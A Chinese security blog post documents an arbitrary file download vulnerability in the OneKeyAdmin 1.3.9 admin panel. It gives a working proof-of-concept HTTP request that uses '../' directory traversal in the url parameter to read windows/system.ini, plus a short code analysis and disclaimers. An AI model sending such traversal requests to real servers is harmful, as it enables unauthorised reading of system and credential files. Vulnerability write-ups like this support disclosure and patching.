首页 > 其他分享 >OneKeyAdmin 后台任意文件下载

OneKeyAdmin 后台任意文件下载

时间:2024-08-09 08:57:00浏览次数:9  
标签:name .. show url page 后台 任意 OneKeyAdmin 下载

侵权声明

本文章中的所有内容(包括但不限于文字、图像和其他媒体)仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料,我们满怀敬意地承认该内容的版权归原作者所有。

如果您是版权持有人,并且认为您的作品被侵犯,请通过以下方式与我们联系: [[email protected]]。我们将在确认后的合理时间内采取适当措施,包括删除相关内容。

感谢您的理解与支持

基本信息

版本

1.3.9

poc

GET /ok_admin/file/download?title=1.txt&url=../../../..//windows/system.ini HTTP/1.1
Host: host
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0; thinkphp_show_page_trace=0|0; deviceid=1722062988348; xinhu_ca_rempass=0; xinhu_mo_adminid=yy0nm0mjj0mjn0vy0mmj0vk0mmn0mjm0iq0mjz0mjz0iv0vi0iu0nv07; xinhu_ca_adminuser=rock; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D; PHPSESSID=07f45a88aedf0c829e74d1691cd62ad4; thinkphp_show_page_trace=0|0
Connection: keep-alive


分析

通过poc找到文件下载函数

image

可以看到通过get请求获取了url参数和title参数,其中public_path()是获取网站根目录的绝对地址。其中url参数和路径直接拼接,如果url中存在../则可以进行目录跳转。
继续跟进download()函数

image

Response::create($filename, 'file')根据filename下载文件
name($name)下载后保存名为name

复现

image

总结

多留意文件、图片等下载按钮和连接
这是我自己今年找到的漏洞,但是有大佬在去年已经提交过cve了o(╥﹏╥)o


免责声明

本博客所提供的技术知识和信息仅旨在教育和分享网络安全最佳实践,促进网络安全意识的提升。作者严禁将这些技术和信息用于任何非法或不道德的目的。

使用本博客内容而导致的任何违法行为或后果,作者不承担任何法律责任。所有读者在使用本博客的信息时,应自行承担风险,并确保遵守当地法律法规。

我们鼓励所有读者合法地使用所提供的信息和技术,致力于维护安全和负责任的网络环境。

感谢您的理解与支持。

标签:name,..,show,url,page,后台,任意,OneKeyAdmin,下载
From: https://www.cnblogs.com/0kooo-yz/p/18350096

相关文章

  • 【漏洞复现】致远OA多个任意文件上传批量检测验证
    目录 wpsAssistServlet任意文件上传》》》漏洞描述《《《》》》影响范围《《《》》》环境搭建《《《》》》漏洞复现《《《ajax.do任意文件上传CNVD-2021-01627漏洞》》》漏洞描述《《《》》》影响范围《《《》》》漏洞复现《《《A6htmlofficeservlet任意文件上......
  • 任意文件下载&上传
    免责声明免责声明:文章所涉及内容,仅供安全研究与教学之用,由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何法律及连带责任。任意文件下载原理下载文件的文件名称可控,攻击者可路径遍历下载敏感文件download?fi......
  • 机床之家后台
    1.插入数据库将需要的数据传入后台INSERTINTOblade_menu(id,parent_id,code,name,alias,path,source,sort,category,action,is_open,remark,is_deleted)VALUES('1821002902310400002','1552200887580160001','parameterinfo','机床参数信息......
  • 后台开发必问题:分库分表面试题及参考答案(3万字长文)
    目录简述为什么要分库?简述为什么要分表?解释什么时候考虑分库分表?简述什么是数据库垂直切分?简述什么是数据库水平切分?请简述数据库分库分表的概念及其优缺点。数据库垂直分表和水平分表的主要区别是什么?什么是数据库分片?它有哪些常见的实现方式?如何分库分表?分库分表......
  • 详细分析帆软后台单点登录的配置事项(图文分析)
    目录前言1.插件安装2.模版认证3.单点登录以及加密4.测试前言帆软的文档,推荐阅读:帆软官网文档-单点阅读更多的知识点从帆软学习,以下文章只是做一个踩坑排查,以图文更好的展示为了保证安全,后端做用户的加密是最好的方式,从而实现无感登录与自身第三方平台......
  • 任意大小的连续过滤器
    我有数据框IDfilter1filter20FalseFalse1FalseTrue2......
  • sentinel管理后台
    在上文中,我们学习了如何在应用中集成sentinel,并定义资源,但我们仍需要为资源定义规则。在应用日常运行过程中,当发现资源需要被限流,在项目中通过代码定义规则、验证、发布,这个过程费时费力,亟需一种更加便捷的运维工具。sentinel中提供了单独部署的控制台应用:sentineldash......
  • cockpit <=2.4.1 后台任意文件上传漏洞靶场复现(CVE-2023-1313)
    cockpit在2.4.1版本之前存在任意文件上传漏洞PS:通过在浏览器中打开/install来运行安装主页界面使用admin/admin登录不了根据提示访问/install后自动创建admin/admin,再次登录可以找到一个上传点,上传phpinfo并burp抓包具体路径可以在上传后有个下载按钮,会看到完整的访问......
  • pbootcms网站后台关闭验证码后, 无法登录问题解决方法
    最近闲来无事,在后台将pbootcms的登录验证码关闭了(全局配置-配置参数-安全配置-后台验证码)结果问题来了,第二天登录后台一直提示验证码不能为空。 这不是自己给自己找事吗!现在想输入验证码,也没有地方输入。 从程序上解决吧 apps\admin\controller\IndexController.ph......
  • 易捷OA协同办公软件 ShowPic 任意文件读取漏洞复现
    0x01产品简介易捷OA协同办公软件是在“让管理更简单”和“实时协同”的理念的指导下,”本着“简约、实时、快捷、省钱”的产品定位,结合数千家客户的管理实践和当前最先进的IT技术开发出来的全新一代协同产品,在云计算、全文检索、手机应用、企业即时通讯等多方面取得突破性创新......